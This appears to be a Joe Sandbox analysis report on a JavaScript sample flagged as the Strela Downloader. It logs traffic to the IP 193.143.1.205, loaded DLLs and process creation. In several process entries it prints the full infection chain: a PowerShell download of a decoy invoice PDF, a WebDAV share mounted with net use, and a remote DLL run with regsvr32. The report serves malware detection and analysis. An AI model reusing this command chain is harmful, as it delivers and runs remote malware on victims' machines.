30 20 2f 53 4d 61 73 6b 20 2f 4e 6f 6e 65 20 2f 6

Uses known network protocols on non-standard ports

Source: unknown	Network traffic detected: HTTP traffic on port 49731 -> 8888
Source: unknown	Network traffic detected: HTTP traffic on port 8888 -> 49731

Source: global traffic

TCP traffic: 192.168.2.4:49731 -> 193.143.1.205:8888

Source: global traffic

TCP traffic: 192.168.2.4:57160 -> 1.1.1.1:53

Source: Joe Sandbox View

IP Address: 193.143.1.205 193.143.1.205

Source: Joe Sandbox View

ASN Name: BITWEB-ASRU BITWEB-ASRU

Source: Network traffic

Suricata IDS: 1810000 - Severity 2 - Joe Security ANOMALY Windows PowerShell HTTP activity : 192.168.2.4:49730 -> 193.143.1.205:80

Source: global traffic

HTTP traffic detected: GET /invoice.php HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT; Windows NT 10.0; en-US) WindowsPowerShell/5.1.19041.1682Host: 193.143.1.205Connection: Keep-Alive

Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205

Source: global traffic

HTTP traffic detected: GET /invoice.php HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT; Windows NT 10.0; en-US) WindowsPowerShell/5.1.19041.1682Host: 193.143.1.205Connection: Keep-Alive

Source: global traffic

DNS traffic detected: DNS query: x1.i.lencr.org

Source: wscript.exe, 00000000.00000003.1716957410.000001CB752FA000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 00000000.00000002.1719132835.000001CB75307000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://193.143.1.205/invoice.php
Source: net.exe, 00000006.00000002.1766817881.0000029BE75B8000.00000004.00000020.00020000.00000000.sdmp, net.exe, 00000006.00000002.1767008615.0000029BE760D000.00000004.00000020.00020000.00000000.sdmp, net.exe, 00000006.00000002.1766873674.0000029BE75EA000.00000004.00000020.00020000.00000000.sdmp, net.exe, 00000006.00000003.1764849668.0000029BE75EA000.00000004.00000020.00020000.00000000.sdmp, net.exe, 00000006.00000003.1764561153.0000029BE760B000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://193.143.1.205:8888/
Source: net.exe, 00000006.00000002.1766817881.0000029BE75B8000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://193.143.1.205:8888/sm
Source: svchost.exe, 00000008.00000002.3000884004.000001FF2A800000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://crl.ver)
Source: svchost.exe, 00000008.00000003.1766114342.000001FF2A6B8000.00000004.00000800.00020000.00000000.sdmp, qmgr.db.8.dr, edb.log.8.dr	String found in binary or memory: http://edgedl.me.gvt1.com/edgedl/chromewebstore/L2Nocm9tZV9leHRlbnNpb24vYmxvYnMvYjFkQUFWdmlaXy12MHFU
Source: edb.log.8.dr	String found in binary or memory: http://edgedl.me.gvt1.com/edgedl/release2/chrome/acosgr5ufcefr7w7nv4v6k4ebdda_117.0.5938.132/117.0.5
Source: edb.log.8.dr	String found in binary or memory: http://edgedl.me.gvt1.com/edgedl/release2/chrome_component/acaa5khuklrahrby256zitbxd5wq_1.0.2512.1/n
Source: edb.log.8.dr	String found in binary or memory: http://edgedl.me.gvt1.com/edgedl/release2/chrome_component/acaxuysrwzdnwqutaimsxybnjbrq_2023.9.25.0/
Source: svchost.exe, 00000008.00000003.1766114342.000001FF2A6B8000.00000004.00000800.00020000.00000000.sdmp, qmgr.db.8.dr, edb.log.8.dr	String found in binary or memory: http://edgedl.me.gvt1.com/edgedl/release2/chrome_component/adhioj45hzjkfunn7ccrbqyyhu3q_20230916.567
Source: svchost.exe, 00000008.00000003.1766114342.000001FF2A6B8000.00000004.00000800.00020000.00000000.sdmp, qmgr.db.8.dr, edb.log.8.dr	String found in binary or memory: http://edgedl.me.gvt1.com/edgedl/release2/chrome_component/adqyi2uk2bd7epzsrzisajjiqe_9.48.0/gcmjkmg
Source: svchost.exe, 00000008.00000003.1766114342.000001FF2A6ED000.00000004.00000800.00020000.00000000.sdmp, qmgr.db.8.dr, edb.log.8.dr	String found in binary or memory: http://edgedl.me.gvt1.com/edgedl/release2/chrome_component/dix4vjifjljmfobl3a7lhcpvw4_414/lmelglejhe
Source: edb.log.8.dr	String found in binary or memory: http://f.c2r.ts.cdn.office.net/pr/492350f6-3a01-4f97-b9c0-c7c6ddf67d60/Office/Data/v32_16.0.16827.20
Source: 2D85F72862B55C4EADD9E66E06947F3D0.7.dr	String found in binary or memory: http://x1.i.lencr.org/
Source: svchost.exe, 00000008.00000003.1766114342.000001FF2A762000.00000004.00000800.00020000.00000000.sdmp, qmgr.db.8.dr, edb.log.8.dr	String found in binary or memory: https://g.live.com/1rewlive5skydrive/OneDriveProductionV2?OneDriveUpdate=9c123752e31a927b78dc96231b6
Source: edb.log.8.dr	String found in binary or memory: https://g.live.com/odclientsettings/Prod.C:
Source: edb.log.8.dr	String found in binary or memory: https://g.live.com/odclientsettings/ProdV2
Source: edb.log.8.dr	String found in binary or memory: https://g.live.com/odclientsettings/ProdV2.C:
Source: svchost.exe, 00000008.00000003.1766114342.000001FF2A762000.00000004.00000800.00020000.00000000.sdmp, edb.log.8.dr	String found in binary or memory: https://g.live.com/odclientsettings/ProdV2?OneDriveUpdate=f359a5df14f97b6802371976c96
Source: svchost.exe, 00000008.00000003.1766114342.000001FF2A762000.00000004.00000800.00020000.00000000.sdmp, qmgr.db.8.dr, edb.log.8.dr	String found in binary or memory: https://oneclient.sfx.ms/Win/Installers/23.194.0917.0001/amd64/OneDriveSetup.exe
Source: edb.log.8.dr	String found in binary or memory: https://oneclient.sfx.ms/Win/Prod/21.220.1024.0005/OneDriveSetup.exe.C:

Spam, unwanted Advertisements and Ransom Demands

Yara detected Strela Downloader

Source: Yara match

File source: Process Memory Space: wscript.exe PID: 6576, type: MEMORYSTR

System Summary

Windows Scripting host queries suspicious COM object (likely to drop second stage)

Source: C:\Windows\System32\wscript.exe

COM Object queried: Windows Script Host Shell Object HKEY_LOCAL_MACHINE\SOFTWARE\Classes\CLSID\{72C24DD5-D70A-438B-8A42-98424B88AFB8}

Jump to behavior

Wscript starts Powershell (via cmd or directly)

Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\20576287220625.dll
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"
Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\20576287220625.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"	Jump to behavior

Source: C:\Windows\System32\svchost.exe

File created: C:\Windows\ServiceProfiles\LocalService\AppData\Local\FontCache\Fonts\Download-1.tmp

Jump to behavior

Source: 1223923852588014617.js

Initial sample: Strings found which are bigger than 50

Source: classification engine

Classification label: mal100.rans.troj.spyw.expl.evad.winJS@27/58@1/2

Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe

File created: C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SharedDataEvents-journal

Jump to behavior

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Mutant created: NULL
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:6744:120:WilError_03

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

File created: C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_2farvezi.zrv.ps1

Jump to behavior

Source: C:\Windows\System32\wscript.exe

File read: C:\Users\user\Desktop\desktop.ini

Jump to behavior

Source: C:\Windows\System32\wscript.exe

Key opened: HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\Safer\CodeIdentifiers

Jump to behavior

Source: 1223923852588014617.js

Virustotal: Detection: 8%

Source: unknown	Process created: C:\Windows\System32\wscript.exe C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\1223923852588014617.js"
Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\20576287220625.dll
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"
Source: C:\Windows\System32\cmd.exe	Process created: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe "C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe" "C:\Users\user\AppData\Local\Temp\invoice.pdf"
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\cmd.exe cmd /c net use \\193.143.1.205@8888\davwwwroot\
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\net.exe net use \\193.143.1.205@8888\davwwwroot\
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe	Process created: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe "C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe" --backgroundcolor=16777215
Source: unknown	Process created: C:\Windows\System32\svchost.exe C:\Windows\System32\svchost.exe -k netsvcs -p -s BITS
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe "C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --log-severity=disable --user-agent-product="ReaderServices/23.6.20320 Chrome/105.0.0.0" --lang=en-US --user-data-dir="C:\Users\user\AppData\Local\CEF\User Data" --log-file="C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\debug.log" --mojo-platform-channel-handle=2140 --field-trial-handle=1364,i,2065389841827715182,14235392778676737554,131072 --disable-features=BackForwardCache,CalculateNativeWinOcclusion,WinUseBrowserSpellChecker /prefetch:8
Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\20576287220625.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe "C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe" "C:\Users\user\AppData\Local\Temp\invoice.pdf"	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\cmd.exe cmd /c net use \\193.143.1.205@8888\davwwwroot\	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe	Process created: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe "C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe" --backgroundcolor=16777215	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\net.exe net use \\193.143.1.205@8888\davwwwroot\	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe "C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --log-severity=disable --user-agent-product="ReaderServices/23.6.20320 Chrome/105.0.0.0" --lang=en-US --user-data-dir="C:\Users\user\AppData\Local\CEF\User Data" --log-file="C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\debug.log" --mojo-platform-channel-handle=2140 --field-trial-handle=1364,i,2065389841827715182,14235392778676737554,131072 --disable-features=BackForwardCache,CalculateNativeWinOcclusion,WinUseBrowserSpellChecker /prefetch:8	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown	Jump to behavior

Source: C:\Windows\System32\wscript.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: sxs.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: jscript.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: msisip.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: wshext.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: scrobj.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: scrrun.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: mpr.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: propsys.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: edputil.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: windows.staterepositoryps.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: appresolver.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: bcp47langs.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: slc.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: sppc.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: onecorecommonproxystub.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: onecoreuapcommonproxystub.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: propsys.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: edputil.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: windows.staterepositoryps.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: policymanager.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: msvcp110_win.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: appresolver.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: bcp47langs.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: slc.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: sppc.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: onecorecommonproxystub.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: onecoreuapcommonproxystub.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: pcacli.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: mpr.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: sfc_os.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: atl.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: mscoree.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: vcruntime140_clr0400.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: gpapi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: msisip.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wshext.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: appxsip.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: opcservices.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: secur32.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: dnsapi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: dhcpcsvc6.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: dhcpcsvc.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: winnsi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rasapi32.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rasman.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rtutils.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: mpr.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: wkscli.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: samcli.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: drprov.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: winsta.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: ntlanman.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: davclnt.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: davhlpr.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: dhcpcsvc6.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: dhcpcsvc.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: webio.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: winnsi.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: qmgr.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: bitsperf.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: powrprof.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: xmllite.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: firewallapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: esent.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: umpdc.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: dnsapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: iphlpapi.dll	Jump to behavior
